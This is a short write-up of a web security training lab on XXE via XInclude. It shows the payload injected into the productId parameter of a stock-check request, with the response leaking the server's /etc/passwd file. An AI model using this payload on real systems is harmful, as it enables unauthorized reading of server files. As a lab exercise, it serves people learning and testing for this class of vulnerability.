

## Exploiting XInclude to retrieve files

1. This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed. Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack. To solve the lab, inject an XInclude statement to retrieve the contents of the `/etc/passwd` file.
2. After a few searches, I found document from XML that explains XInclude.
3. I prepared a basic xinclude payload then passed it via `productId` variable in check stock request.

Request	Response
<pre>cademy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0ac3001903f73aa2cdfa08a700690070.web-security-a cademy.net/product?productId=1 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 productId=&lt;file xmlns:xi="http://www.w3.org/2001/XInclude"&gt;&lt;xi:include parse="text" href="file:///etc/passwd"/&gt;&lt;/file&gt;&amp;storeId=1</pre>	<pre>6 "Invalid product ID: root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:MailingListManager:/var/list:/usr/sbin/</pre>



Exploiting XInclude to retrieve files

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Continue learning >>](#)

Reference: [XML Document](#)